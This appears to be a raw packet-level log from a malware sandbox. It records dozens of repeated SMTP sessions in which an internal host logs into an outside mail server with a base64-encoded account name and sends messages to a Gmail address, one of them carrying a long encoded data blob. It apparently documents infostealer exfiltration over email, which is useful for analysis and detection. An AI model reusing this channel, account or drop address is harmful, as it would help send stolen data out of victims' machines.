Jan 15, 2025 08:42:24.602267027 CET	587	50002	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:24 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:24.602474928 CET	50002	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:24.796267033 CET	587	50002	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:24.798405886 CET	50002	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:24.992692947 CET	587	50002	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:25.206706047 CET	587	50002	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:25.278711081 CET	50002	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:25.473020077 CET	587	50002	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:25.473162889 CET	50002	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:25.717670918 CET	587	50002	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:25.721400023 CET	50002	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:25.923404932 CET	587	50002	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:26.436800003 CET	587	50002	212.44.102.65	192.168.2.6	250 OK id=1tXy2j-0002Mi-2e
Jan 15, 2025 08:42:30.701965094 CET	50002	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:31.098568916 CET	587	50002	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:31.691896915 CET	587	50003	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:31 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:31.692764997 CET	50003	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:31.887778997 CET	587	50003	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:31.888030052 CET	50003	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:32.083301067 CET	587	50003	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:32.323121071 CET	587	50003	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:32.323364973 CET	50003	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:32.518285990 CET	587	50003	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:32.518877029 CET	50003	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:32.626959085 CET	49994	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:32.763081074 CET	587	50003	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:32.763211966 CET	50003	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:32.958173990 CET	587	50003	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:33.027595997 CET	587	49994	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:33.421720982 CET	587	50003	212.44.102.65	192.168.2.6	250 OK id=1tXy2q-0002NJ-2n
Jan 15, 2025 08:42:33.622785091 CET	587	50004	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:33 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:33.622994900 CET	50004	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:33.817313910 CET	587	50004	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:33.817573071 CET	50004	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:34.023073912 CET	587	50004	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:34.238832951 CET	587	50004	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:34.239784002 CET	50004	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:34.433959007 CET	587	50004	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:34.434118032 CET	50004	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:34.675544977 CET	587	50004	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:34.675803900 CET	50004	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:34.863714933 CET	50003	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:34.870657921 CET	587	50004	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:35.261584044 CET	587	50003	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:35.422125101 CET	587	50004	212.44.102.65	192.168.2.6	250 OK id=1tXy2s-0002NV-2V
Jan 15, 2025 08:42:35.854845047 CET	587	50005	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:35 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:35.855633974 CET	50005	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:36.049984932 CET	587	50005	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:36.050985098 CET	50005	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:36.245986938 CET	587	50005	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:36.456135988 CET	587	50005	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:36.456505060 CET	50005	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:36.650705099 CET	587	50005	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:36.652502060 CET	50005	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:36.905750990 CET	587	50005	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:36.989936113 CET	50005	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:37.184591055 CET	587	50005	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:37.207036018 CET	50005	587	192.168.2.6	212.44.102.65	.
Jan 15, 2025 08:42:37.645283937 CET	587	50005	212.44.102.65	192.168.2.6	250 OK id=1tXy2v-0002Nh-0I
Jan 15, 2025 08:42:57.303934097 CET	50004	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:57.701718092 CET	587	50004	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:57.741215944 CET	50005	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:58.137993097 CET	587	50005	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:58.312588930 CET	587	50006	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:58 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:58.312870026 CET	50006	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:58.532712936 CET	587	50006	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:58.532883883 CET	50006	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:58.728929043 CET	587	50006	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:58.746793985 CET	587	50007	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:58 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:58.746922016 CET	50007	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:58.967173100 CET	587	50006	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:58.967369080 CET	50006	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:59.163362026 CET	587	50006	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:59.163548946 CET	50006	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:59.409013033 CET	587	50006	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:59.409188032 CET	50006	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:59.605465889 CET	587	50006	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:59.617593050 CET	50006	587	192.168.2.6	212.44.102.65	220N21oLqH 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 784+YHpjP
Jan 15, 2025 08:42:59.618406057 CET	587	50009	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:59 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:59.618572950 CET	50009	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:59.812207937 CET	587	50009	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:59.812522888 CET	50009	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:00.006330013 CET	587	50009	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:00.086689949 CET	587	50006	212.44.102.65	192.168.2.6	250 OK id=1tXy3H-0002RI-1e
Jan 15, 2025 08:43:00.193291903 CET	50006	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:00.216340065 CET	587	50009	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:00.216989040 CET	50009	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:00.413558960 CET	587	50009	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:00.414093018 CET	50009	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:00.592531919 CET	587	50006	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:00.656189919 CET	587	50009	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:00.656502008 CET	50009	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:00.850260019 CET	587	50009	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:01.196718931 CET	587	50010	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:01 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:01.196903944 CET	50010	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:01.304774046 CET	587	50009	212.44.102.65	192.168.2.6	250 OK id=1tXy3I-0002RV-2R
Jan 15, 2025 08:43:01.392858982 CET	587	50010	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:01.393016100 CET	50010	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:01.589380026 CET	587	50010	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:01.800961971 CET	587	50010	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:01.801460028 CET	50010	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:01.997649908 CET	587	50010	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:02.001702070 CET	50010	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:02.248784065 CET	587	50010	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:02.249674082 CET	50010	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:02.445662022 CET	587	50010	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:02.911957979 CET	587	50010	212.44.102.65	192.168.2.6	250 OK id=1tXy3K-0002Rr-18
Jan 15, 2025 08:43:06.185606003 CET	50010	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:06.584636927 CET	587	50010	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:07.206192970 CET	587	50011	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:07 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:07.206374884 CET	50011	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:07.406944990 CET	587	50011	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:07.407182932 CET	50011	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:07.607918024 CET	587	50011	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:07.824434042 CET	587	50011	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:07.825742960 CET	50011	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:08.026936054 CET	587	50011	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:08.027151108 CET	50011	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:08.274384975 CET	587	50011	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:08.274846077 CET	50011	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:08.476052999 CET	587	50011	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:08.952850103 CET	587	50011	212.44.102.65	192.168.2.6	250 OK id=1tXy3Q-0002Td-1D
Jan 15, 2025 08:43:20.864701986 CET	50011	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:21.266925097 CET	587	50011	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:21.876838923 CET	587	50013	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:21 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:21.876998901 CET	50013	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:22.073160887 CET	587	50013	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:22.073299885 CET	50013	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:22.269594908 CET	587	50013	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:22.482578039 CET	587	50013	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:22.482722998 CET	50013	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:22.678770065 CET	587	50013	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:22.678982973 CET	50013	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:22.928091049 CET	587	50013	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:22.929713964 CET	50013	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:23.125801086 CET	587	50013	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:23.612970114 CET	587	50013	212.44.102.65	192.168.2.6	250 OK id=1tXy3f-0002Xb-06
Jan 15, 2025 08:43:24.035017014 CET	50013	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:24.433423042 CET	587	50013	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:25.031646013 CET	587	50014	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:24 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:25.031812906 CET	50014	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:25.226607084 CET	587	50014	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:25.226735115 CET	50014	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:25.421880007 CET	587	50014	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:25.635957003 CET	587	50014	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:25.636166096 CET	50014	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:25.831227064 CET	587	50014	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:25.831357956 CET	50014	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:26.081054926 CET	587	50014	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:26.081192017 CET	50014	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:26.276165009 CET	587	50014	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:26.739341021 CET	587	50014	212.44.102.65	192.168.2.6	250 OK id=1tXy3i-0002YE-0a
Jan 15, 2025 08:43:30.128128052 CET	50009	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:30.524027109 CET	587	50009	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:31.123563051 CET	587	50015	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:31 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:31.123692036 CET	50015	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:31.318489075 CET	587	50015	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:31.318706036 CET	50015	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:31.513946056 CET	587	50015	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:31.727870941 CET	587	50015	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:31.728264093 CET	50015	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:31.927766085 CET	587	50015	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:31.931679010 CET	50015	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:32.178313971 CET	587	50015	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:43:32.181756020 CET	50015	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:43:32.386714935 CET	587	50015	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:43:32.851869106 CET	587	50015	212.44.102.65	192.168.2.6	250 OK id=1tXy3o-0002ab-0w
Jan 15, 2025 08:43:34.709378958 CET	50015	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:43:35.137958050 CET	587	50015	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:43:35.764627934 CET	587	50016	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:43:35 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:43:35.869609118 CET	50016	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:43:36.065593958 CET	587	50016	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:43:36.065762043 CET	50016	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:43:36.262204885 CET	587	50016	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:43:36.501848936 CET	587	50016	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:43:36.502249002 CET	50016	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:43:36.698129892 CET	587	50016	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:43:36.698328018 CET	50016	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:43:36.944200039 CET	587	50016	212.44.102.65	192.168.2.6	250 Accepted
